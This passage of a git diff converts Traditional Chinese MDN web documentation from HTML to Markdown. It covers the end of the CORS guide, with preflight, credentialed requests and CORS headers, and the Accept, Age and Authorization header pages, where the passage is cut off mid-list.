標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值,WebKit/Safari 就不會將該請求視為「簡單請求」。WebKit/Safari 並沒有於文件中定義何者為「非標準」值,只有在以下 WebKit bugs 中討論:[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)、[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566) 和 [Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)。其它的瀏覽器沒有實作這些額外的限制,因為這並不是規範中的一部分。 + +例如,假設 `http://foo.example` 網域上的網頁內容想要呼叫 `http://bar.other` 網域內的內容,以下程式碼可能會在 foo.example 上執行: + +```js +var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +``` + +這將會在客戶端與伺服器端之間發起一個簡單的資料交換,並使用 CORS 相關標頭來處理權限: + +![](https://mdn.mozillademos.org/files/14293/simple_req.png) + +我們來看看這個例子中瀏覽器將會送出什麼到伺服器,而伺服器又會如何回應: + +```plain +GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +``` + +第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 {{HTTPHeader("Origin")}} 標頭,它標示出請求是來自 `http://foo.example` 網域上的內容。 + +第 13 - 22 行是 `http://bar.other` 網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,從 {{HTTPHeader("Origin")}} 標頭與 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭中可以看到存取控制協定最簡單的用途。這個例子中,伺服器回傳 `Access-Control-Allow-Origin: *` 表示允許**任何**網域跨站存取資源,倘若 `http://bar.other` 的資源擁有者只准許來自 `http://foo.example` 的存取資源請求,那麼將會回傳: + +```plain +Access-Control-Allow-Origin: http://foo.example +``` + +如此一來,來源並非 `http://foo.example` 網域(由第 10 行請求標頭中的 ORIGIN 標頭確認)便無法以跨站的方式存取資源。`Access-Control-Allow-Origin` 標頭必須包含請求當中的 `Origin` 標頭值。 + +### 預檢請求 + +不同於上面討論「[簡單請求](#簡單請求)」的例子,「預檢(preflighted)」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域,確認後續實際(actual)請求是否可安全送出,由於跨站請求可能會攜帶使用者資料,所以要先進行預檢請求。 + +準確來說,如果滿足以下**任一項條件**時會發出預檢請求: + +- **假如**請求方法為以下其中之一: + + - {{HTTPMethod("PUT")}} + - {{HTTPMethod("DELETE")}} + - {{HTTPMethod("CONNECT")}} + - {{HTTPMethod("OPTIONS")}} + - {{HTTPMethod("TRACE")}} + - {{HTTPMethod("PATCH")}} + +- **或是假如**除了 user agent 自動設定的標頭(例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}},或是[任何請求規範[Fetch spec]中定義的「禁止使用的標頭名稱[forbidden header name]」](https://fetch.spec.whatwg.org/#forbidden-header-name)中的標頭)之外,請求中包含了任何除了[這些於請求規格(Fetch spec)中定義為「CORS 安全列表請求標頭(CORS-safelisted request-header)」](https://fetch.spec.whatwg.org/#cors-safelisted-request-header)以外的標頭,具體如下: + + - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}}(但請注意下方的額外要求) + - {{HTTPHeader("Last-Event-ID")}} + - [`DPR`](http://httpwg.org/http-extensions/client-hints.html#dpr) + - [`Save-Data`](http://httpwg.org/http-extensions/client-hints.html#save-data) + - [`Viewport-Width`](http://httpwg.org/http-extensions/client-hints.html#viewport-width) + - [`Width`](http://httpwg.org/http-extensions/client-hints.html#width) + +- **或是假如** {{HTTPHeader("Content-Type")}} 標頭有除了下方所列出以外的值: + + - `application/x-www-form-urlencoded` + - `multipart/form-data` + - `text/plain` + +- **或是假如**一或多個事件監聽器被註冊到一個用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件上。 +- **或是假如**請求中有一個 {{domxref("ReadableStream")}} 物件被於上傳。 + +> **備註:** WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值,WebKit/Safari 便會傳送預檢請求。WebKit/Safari 並沒有於文件中定義何者為「非標準」值,只有在以下 WebKit bugs 中討論:[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)、[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566) 和 [Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)。其它的瀏覽器沒有實作這些額外的限制,因為這並不是規範中的一部分。 + +下面是一段會引起預檢請求的範例: + +```js +var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/post-here/'; +var body = 'Arun'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +``` + +在這個例子中,第 3 行建立了一段 XML 內容資料並於第 8 行使用 `POST` 請求送出。而在第 9 行,設定了一個自定義的(非標準)之 HTTP 請求標頭(`X-PINGOTHER: pingpong`)。此標頭並非 HTTP/1.1 通訊協定的一部分,但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 `application/xml`,且設定了自定義標頭,故此請求為預檢請求。 + +![](preflight_correct.png) + +我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為*預檢請求/回應*: + +```plain +OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain +``` + +一旦預檢請求完成,真正的請求才會被送出: + +```plain +POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +Arun + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload] +``` + +第 1 - 12 行屬於 {{HTTPMethod("OPTIONS")}} 方法的預檢請求,瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求,好讓伺服器回應是否允許後續送出實際(actual)請求。OPTIONS 是一個 HTTP/1.1 方法,這個方法用來確認來自伺服器進一步的資訊,重複執行不會造成任何影響,為一{{Glossary("safe", "安全")}}方法,不會造成資源更動。除了 OPTIONS 方法,有另外兩個送出的請求標頭(分別在第 10 及 11 行): + +```plain +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +``` + +{{HTTPHeader("Access-Control-Request-Method")}} 標頭會告訴伺服器之後送出的實際(actual)請求會是 `POST` 方法。{{HTTPHeader("Access-Control-Request-Headers")}} 標頭則是通知伺服器實際(actual)請求會帶有一個自定義的 `X-PINGOTHER` 標頭。在這些資訊下,接著伺服器將會確定是否接受請求。 + +第 14 - 26 行屬於伺服器的回應,它說明了伺服器接受 `POST` 請求方法和 `X-PINGOTHER` 標頭。另外讓我們特別來看看 17 - 20 行: + +```plain +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +``` + +伺服器回應中的 `Access-Control-Allow-Methods` 標頭表示伺服器可以接受 `POST`、`GET` 和 `OPTIONS` 方法。請注意此標頭和 {{HTTPHeader("Allow")}} 十分相似,但它只在存取控制範圍下才有意義。 + +伺服器也回傳了 `Access-Control-Allow-Headers` 標頭及其值「`X-PINGOTHER, Content-Type`」,表示伺服器允許在實際(actual)請求中使用以上這兩個標頭。與 `Access-Control-Allow-Methods` 相同,`Access-Control-Allow-Headers` 也是用逗號分隔可接受的標頭名稱。 + +最後,{{HTTPHeader("Access-Control-Max-Age")}} 提供了本次預檢請求回應所可以快取的秒數。在此範例中,86400 秒即為 24 小時。請留意每一個瀏覽器都有[預設的最大值](/zh-TW/docs/Web/HTTP/Headers/Access-Control-Max-Age),當 `Access-Control-Max-Age` 較預設值大時會優先採用預設值。 + +#### 預檢請求和重新導向 + +目前大多瀏覽器不支援預檢請求時的重新導向,如果預檢請求進行中發生重新導向,目前大多的瀏覽器會回報類似以下的錯誤訊息。 + +> The request was redirected to 'https\://example.com/foo', which is disallowed for cross-origin requests that require preflight + +> Request requires preflight, which is disallowed to follow cross-origin redirect + +CORS 通訊協定最初要求此預檢請求重新導向的行為,但[在隨後的修訂中即改為不要求使用](https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2)。然而,大多數的瀏覽器尚未實作此變動,且仍舊依照原本的行為要求。 + +因此直到瀏覽器趕上規範之前,你可以使用下列一或兩種方法來解決這個限制: + +- 變更伺服器端的行為以避免預檢以及/或是避免重新導向——假如你對被請求的伺服擁有控制權 +- 變更請求為[簡單請求](zh-TW/docs/Web/HTTP/Access_control_CORS#Simple_requests),讓預檢不會發生 + +但若難以實施以上方法,仍有其他可行的方式: + +1. 建立一個[簡單請求](#Simple_requests)來測定(使用 Fetch API 的 [Response.url](/zh-TW/docs/Web/API/Response/url) 或 [XHR.responseURL](/zh-TW/docs/Web/API/XMLHttpRequest/responseURL) 來測定預檢請求最終真正導向的 URL)。 +2. 建立另一個請求(「真正的」請求)傳送至第一步自 [Response.url](/zh-TW/docs/Web/API/Response/url) 或 [XHR.responseURL](/zh-TW/docs/Web/API/XMLHttpRequest/responseURL) 所獲得的 URL。 + +然而,假如請求是由於存在 `Authorization` 標頭而觸發預檢,便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前,沒有其他方式能夠解決。 + +### 附帶身分驗證的請求 + +{{domxref("XMLHttpRequest")}} 或 [Fetch](/zh-TW/docs/Web/API/Fetch_API) 在 CORS 中最有趣的功能為傳送基於 [HTTP cookies](/zh-TW/docs/Web/HTTP/Cookies) 和 HTTP 認證(Authentication)資訊的「身分驗證(credentialed)」請求。預設情況下,在跨站 {{domxref("XMLHttpRequest")}} 或 [Fetch](/zh-TW/docs/Web/API/Fetch_API) 呼叫時,瀏覽器**不會**送出身分驗證。必須要於 {{domxref("XMLHttpRequest")}} 物件中或是在呼叫 {{domxref("Request")}} 建構式時設置一個特定的旗標。 + +在這個範例中,一個來自 `http://foo.example` 的內容發出了一個簡單的 GET 去請求一個 `http://bar.other` 的資源,且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript: + +```js +var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +} +``` + +第 7 行秀出了一個於 {{domxref("XMLHttpRequest")}} 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——`withCredentials`。在預設情況下,請求呼叫是不會有 Cookies 的。由於這是一個簡單 `GET` 請求,並不會進行預檢,但瀏覽器將會**拒絕**任何沒有 {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` 標頭值的回應,並且**不讓**呼叫的網站內容存取該回應。 + +![](https://mdn.mozillademos.org/files/14291/cred-req.png) + +下面是一個簡單的客戶端與伺服器端之間的交換資訊: + +```plain +GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload] +``` + +雖然第 11 行包含了預定要給予 `http://bar.other` 來取得資源內容的 Cookie,但假如 bar.other 沒有於回應中帶有 {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` 標頭值(第 19 行),則回應將會被乎略且不提供給網站內容使用。 + +#### 身分驗證請求與萬用字元 + +在回應一個身分驗證請求時,伺服器**必須**於 `Access-Control-Allow-Origin` 標頭值中指定一個來源,而不是使用「`*`」萬用字元(wildcard)。 + +上方範例的請求標頭中包含了一個 `Cookie` 標頭,若 `Access-Control-Allow-Origin` 標頭為「\*」,則請求將會失敗。範例中的 `Access-Control-Allow-Origin` 標頭值為「`http://foo.example`」(一個實際的來源)而不是「\*」萬用字元,所以身分驗證證明內容被回傳予呼叫的網站內容中。 + +請注意上面範例中的 `Set-Cookie` 回應標頭也設定了另一個 cookie。萬一失敗,會拋出一個錯誤(取決於所使用的 API)。 + +#### 第三方 cookies + +請注意,在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中,頁面載入自 `foo.example`,但第 22 行的 cookie 為 `bar.other` 所傳送,因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies,則 cookies 不會被保存。 + +## HTTP 回應標頭 + +這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。 + +### Access-Control-Allow-Origin + +一個回應的資源可能擁有一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,如以下的語法: + +```plain +Access-Control-Allow-Origin: | * +``` + +`origin` 參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個**不帶有**身分驗證的請求,伺服器可以指定一個「\*」作為萬用字元(wildcard),從而允許任何來源存取資源。 + +舉例來說,要允許 http\://mozilla.org 存取資源,你可以指定: + +```plain +Access-Control-Allow-Origin: http://mozilla.org +``` + +如果伺服器指定了一個來源主機而不是「\*」,那也可能於不同回應的標頭中包含不同之來源,來向客戶端表示伺服器的回應會因請求標頭之 `Origin` 值而有所不同。 + +### Access-Control-Expose-Headers + +{{HTTPHeader("Access-Control-Expose-Headers")}} 標頭表示伺服器允許瀏覽器存取回應標頭的白名單,如: + +```plain +Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +``` + +這允許了瀏覽器能夠存取回應當中的 `X-My-Custom-Header` 以及 `X-Another-Custom-Header` 標頭。 + +### Access-Control-Max-Age + +{{HTTPHeader("Access-Control-Max-Age")}} 標頭表示了預檢請求的結果可以被快取多長的時間,請參考上面的範例。 + +```plain +Access-Control-Max-Age: +``` + +`delta-seconds` 參數代表預檢請求之結果可以被快取的秒數。 + +### Access-Control-Allow-Credentials + +{{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭表示了當請求的 `credentials` 旗標為真時,是否要回應該請求。當用在預檢請求的回應中,那就是指示後續的實際請求可否附帶身分驗證。請注意,由於簡單的 `GET` 請求沒有預檢,所以如果一個簡單請求帶有身分驗證,同時假設此標頭沒有與資源一併回傳,則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。 + +```plain +Access-Control-Allow-Credentials: true +``` + +[驗證請求](#Requests_with_credentials)在上面的討論當中。 + +### Access-Control-Allow-Methods + +{{HTTPHeader("Access-Control-Allow-Methods")}} 標頭表示存取資源所允許的方法,用來回應預檢請求。上面已討論請求之預檢的條件。 + +```plain +Access-Control-Allow-Methods: [, ]* +``` + +一個[預檢請求的範例已在上面提供](#Preflighted_requests),其中包含了一個回傳此標頭予瀏覽器的例子。 + +### Access-Control-Allow-Headers + +{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭用在回傳予預檢請求的回應當中,以指定哪些 HTTP 標頭可以於實際請求中使用。 + +```plain +Access-Control-Allow-Headers: [, ]* +``` + +## HTTP 請求標頭 + +這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定,開發者使用跨站 {{domxref("XMLHttpRequest")}} 時則不須於程式中設定任何的跨來源資源共用請求標頭。 + +### Origin + +{{HTTPHeader("Origin")}} 標頭表示了跨站存取請求或預檢請求的來源。 + +```plain +Origin: +``` + +其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊,僅有伺服器名稱。 + +> **備註:** `origin` 標頭可設定為空字串;這對不是真實位置的情況來說相當有用,例如來源為一個 `data` URL 時。 + +請注意在任何存取控制請求中,{{HTTPHeader("Origin")}} 標頭**永遠**都要送出。 + +### Access-Control-Request-Method + +{{HTTPHeader("Access-Control-Request-Method")}} 標頭用在發出的預檢請求中,告訴伺服器後續實際(actual)請求所用的 HTTP 方法。 + +```plain +Access-Control-Request-Method: +``` + +此標頭的相關範例可參考[上方說明](#Preflighted_requests)。 + +### Access-Control-Request-Headers + +{{HTTPHeader("Access-Control-Request-Headers")}} 標頭用在發出的預檢請求中,告訴伺服器端後續實際(actual)請求所帶的 HTTP 標頭。 + +```plain +Access-Control-Request-Headers: [, ]* +``` + +此標頭的相關範例可參考[上方說明](#Preflighted_requests)。 + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.Access-Control-Allow-Origin")}} + +### 相容性備註 + +- IE8 和 IE9 支援 CORS 透過 XDomainRequest 物件,IE10 開始則完全正常支援。 +- Firefox 3.5 引進支援跨站 XMLHttpRequests 與 Web Fonts,較舊版本上某些請求會受到限制。Firefox 7 引進支援 WebGL 紋理的跨站 HTTP 請求,而 Firefox 9 新增支援使用 `drawImage` 方法將圖形繪製於 canvas 中。 + +## 參見 + +- [Code Samples Showing `XMLHttpRequest` and Cross-Origin Resource Sharing](http://arunranga.com/examples/access-control/) +- [Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)](https://github.com/jackblackevo/cors-jsonp-sample) +- [Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)](/zh-TW/docs/Web/HTTP/Server-Side_Access_Control) +- [Cross-Origin Resource Sharing specification](http://www.w3.org/TR/cors/) +- {{domxref("XMLHttpRequest")}} +- [Fetch API](/zh-TW/docs/Web/API/Fetch_API) +- [Using CORS with All (Modern) Browsers](http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx) +- [Using CORS - HTML5 Rocks](http://www.html5rocks.com/en/tutorials/cors/) diff --git a/files/zh-tw/web/http/headers/accept/index.html b/files/zh-tw/web/http/headers/accept/index.html deleted file mode 100644 index c83911f493521c..00000000000000 --- a/files/zh-tw/web/http/headers/accept/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Accept -slug: Web/HTTP/Headers/Accept -translation_of: Web/HTTP/Headers/Accept ---- -
{{HTTPSidebar}}
- -

Accept HTTP 請求標頭(以 MIME type 標示)會對伺服器告知用戶端可解讀的內容類型。伺服器可以透過 content negotiation 來選用可行的協定,並以 {{HTTPHeader("Content-Type")}} 標頭告知用戶端。針對本標頭,瀏覽器可以根據完成請求的脈絡,來決定適合的數值:像是擷取 CSS 時,給予的值就會和圖片、影像、腳本不一樣。

- - - - - - - - - - - - - - - - -
標頭類型{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("CORS-safelisted request header")}}yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: "():<>?@[\]{}, Delete, Tab and control characters: 0x00 to 0x19.
- -

語法

- -
Accept: <MIME_type>/<MIME_subtype>
-Accept: <MIME_type>/*
-Accept: */*
-
-// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
-
- -

指令

- -
-
<MIME_type>/<MIME_subtype>
-
一個精確的 MIME type,例如text/html
-
<MIME_type>/*
-
一個不指定子類的 MIME type。image/* 會配對到 image/png, image/svg, image/gif 和等圖片類型。
-
*/*
-
所有 MIME type
-
;q= (q-factor weighting)
-
Any value used is placed in an order of preference expressed using relative quality value called the weight.
-
- -

示例

- -
Accept: text/html
-
-Accept: image/*
-
-// General default
-Accept: */*
-
-// Default for navigation requests
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.Accept")}}

- -

參見

- -
    -
  • HTTP content negotiation
  • -
  • Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}}
  • -
  • 類似標頭:{{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}
  • -
diff --git a/files/zh-tw/web/http/headers/accept/index.md b/files/zh-tw/web/http/headers/accept/index.md new file mode 100644 index 00000000000000..6d99f9c32505a0 --- /dev/null +++ b/files/zh-tw/web/http/headers/accept/index.md @@ -0,0 +1,63 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +translation_of: Web/HTTP/Headers/Accept +--- +{{HTTPSidebar}} + +**`Accept`** HTTP 請求標頭(以 [MIME type](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types) 標示)會對伺服器告知用戶端可解讀的內容類型。伺服器可以透過 [content negotiation](/zh-TW/docs/Web/HTTP/Content_negotiation) 來選用可行的協定,並以 {{HTTPHeader("Content-Type")}} 標頭告知用戶端。針對本標頭,瀏覽器可以根據完成請求的脈絡,來決定適合的數值:像是擷取 CSS 時,給予的值就會和圖片、影像、腳本不一樣。 + +| 標頭類型 | {{Glossary("Request header")}} | +| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("CORS-safelisted request header")}} | yes, with the additional restriction that values can't contain a _CORS-unsafe request header byte_: `"():<>?@[\]{}`, Delete, Tab and control characters: 0x00 to 0x19. | + +## 語法 + +```plain +Accept: / +Accept: /* +Accept: */* + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 +``` + +## 指令 + +- `/` + - : 一個精確的 [MIME type](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types),例如`text/html`。 +- `/*` + - : 一個不指定子類的 MIME type。`image/*` 會配對到 `image/png`, `image/svg`, `image/gif` 和等圖片類型。 +- `*/*` + - : 所有 MIME type +- `;q=` (q-factor weighting) + - : Any value used is placed in an order of preference expressed using relative [quality value](/zh-TW/docs/Glossary/Quality_values) called the _weight_. + +## 示例 + +```plain +Accept: text/html + +Accept: image/* + +// General default +Accept: */* + +// Default for navigation requests +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.Accept")}} + +## 參見 + +- HTTP [content negotiation](/zh-TW/docs/Web/HTTP/Content_negotiation) +- Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}} +- 類似標頭:{{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}} diff --git a/files/zh-tw/web/http/headers/age/index.html b/files/zh-tw/web/http/headers/age/index.html deleted file mode 100644 index e9df847d62c543..00000000000000 --- a/files/zh-tw/web/http/headers/age/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Age -slug: Web/HTTP/Headers/Age -tags: -- Caching -- HTTP -- Response -- header ---- -
{{HTTPSidebar}}
- -

Age 標頭代表資源進到代理快取後,經過了幾秒。

- -

Age 標頭通常接近 0。如果你拿到 Age: 0 代表資源剛剛才從後端伺服器抓進來; - 不然通常會是快取當下與回應中 {{HTTPHeader("Date")}} 標頭的時間差。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

語法

- -
Age: <秒數差>
-
- -

指令

- -
-
<秒數差>
-
-

正整數,代表資源在代理快取放幾秒了。

-
-
- -

範例

- -
Age: 24
- -

Specifications

- -{{Specifications}} - -

Browser compatibility

- -

{{Compat("http.headers.Age")}}

- -

See also

- -
    -
  • {{HTTPHeader("Cache-Control")}}
  • -
  • {{HTTPHeader("Expires")}}
  • -
diff --git a/files/zh-tw/web/http/headers/age/index.md b/files/zh-tw/web/http/headers/age/index.md new file mode 100644 index 00000000000000..7b803a781e4dfb --- /dev/null +++ b/files/zh-tw/web/http/headers/age/index.md @@ -0,0 +1,49 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +tags: + - Caching + - HTTP + - Response + - header +--- +{{HTTPSidebar}} + +**`Age`** 標頭代表資源進到代理快取後,經過了幾秒。 + +`Age` 標頭通常接近 0。如果你拿到 `Age: 0` 代表資源剛剛才從後端伺服器抓進來; +不然通常會是快取當下與回應中 {{HTTPHeader("Date")}} 標頭的時間差。 + +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 語法 + +```html +Age: <秒數差> +``` + +## 指令 + +- <秒數差> + - : 正整數,代表資源在代理快取放幾秒了。 + +## 範例 + +```plain +Age: 24 +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Age")}} + +## See also + +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Expires")}} diff --git a/files/zh-tw/web/http/headers/authorization/index.html b/files/zh-tw/web/http/headers/authorization/index.html deleted file mode 100644 index e86c0aff3eba84..00000000000000 --- a/files/zh-tw/web/http/headers/authorization/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Authorization -slug: Web/HTTP/Headers/Authorization -tags: - - HTTP - - HTTP Header - - Reference - - Request header - - header ---- -
{{HTTPSidebar}}
- -

HTTP 請求中的 Authorization 是 user agent 用來向伺服器做身份認證(authentication)的憑證(credentials), - 通常是在伺服器回應 {{HTTPStatus("401")}} - Unauthorized 狀態及 {{HTTPHeader("WWW-Authenticate")}} 標頭後才會在後續請求使用這個標頭。

- - - - - - - - - - - - -
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
- -

語法

- -
Authorization: <type> <credentials>
- -

指令

- -
-
<type>
-
認證方式,通常是 "Basic"。 - 其他方式可以參考: - -
-
<credentials>
-
如果使用「Basic」方式,則憑證的格式會長的像這樣: -
    -
  • 帳號、密碼會用冒號(:)串起來 - (aladdin:opensesame)。
  • -
